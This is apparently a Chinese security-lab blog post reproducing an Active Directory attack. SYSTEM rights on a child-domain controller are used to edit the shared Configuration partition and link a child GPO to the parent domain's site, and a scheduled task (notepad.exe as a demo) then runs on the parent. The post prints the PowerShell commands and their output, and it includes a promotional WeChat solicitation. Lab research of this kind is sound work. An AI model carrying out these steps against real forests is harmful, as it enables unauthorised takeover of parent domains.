利用子域的System許可權通往父域

蚁景网安实验室發表於2024-08-23

前言

最近翻閱筆記發現一篇文章提到透過子域的System許可權可以突破獲取到父域許可權,本文將對此技術進行嘗試復現研究。

利用分析

環境資訊:

子域:187、sub.cs.org
父域:197、cs.org

首先透過在子域的域控機器上開啟mmc.exe->連線ADSI->配置來檢視子域的配置命名上下文:

利用子域的System許可權通往父域

利用子域的System許可權通往父域

從配置中可以看到配置命名上下文的域名實際上是父域cs.org,因此判斷子域中看到的資訊可能是父域的副本:

利用子域的System許可權通往父域

繼續檢視配置物件的安全描述符中的ACL,發現子域沒有許可權去變更:

利用子域的System許可權通往父域

但是可以看到除了域使用者、域管使用者以外,還有一個特權ACL條目叫SYSTEM,該條目擁有完全控制許可權:

利用子域的System許可權通往父域

SYSTEM屬於一個特殊使用者,不屬於域內使用者,因此理論上只要能做到是SYSTEM許可權就能控制物件條目而不用關注是不是域內管理員。因此嘗試使用SYSTEM許可權繼續開啟配置命名上下文:

利用子域的System許可權通往父域

可以看到當子域擁有了SYSTEM許可權後就可以修改來自父域副本的配置物件:

利用子域的System許可權通往父域

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

利用方式

既然可以控制父域的配置命名上下文,那如何利用呢?網上提到有幾種方式,一種是透過GPO、還有的是提到給父域新增一個自己可控的證書模板(ESC1),這裡以GPO組策略為例。先在子域域控上建立一個GPO:

New-GPO jumbo_gpo_test

利用子域的System許可權通往父域

利用子域的System許可權通往父域

設定計劃任務:

利用子域的System許可權通往父域

透過SYSTEM許可權把子域的GPO link到父域:

PS C:\Windows\system32> Get-ADDomainController -Server cs.org | select HostNane, ServerObjectDN
​
HostNane ServerObjectDN
-------- --------------
{}       CN=10_4_45_197,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org
PS C:\Windows\system32> New-GPLink -Name "jumbo_gpo_test" -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org" -Server sub.cs.org
​
​
GpoId       : 76606696-cd03-4349-b0f2-0a45bdf305d4
DisplayName : jumbo_gpo_test
Enabled     : True
Enforced    : False
Target      : CN=Default-First-Site-Name,cn=Sites,CN=Configuration,DC=cs,DC=org
Order       : 1

利用子域的System許可權通往父域

父域重新整理組策略可以看到子域連結過來的GPO:

利用子域的System許可權通往父域

父域更新組策略成功執行計劃任務notepad.exe:

gpupdate /force

利用子域的System許可權通往父域

重新整理組策略後透過gpresult /r命名也可以看到新增的GPO:

利用子域的System許可權通往父域

總結

本文介紹了除SidHistory以外還可以透過子域的System許可權進行突破到父域的攻擊手法。

更多網安技能的線上實操練習,請點選這裡>>

相關文章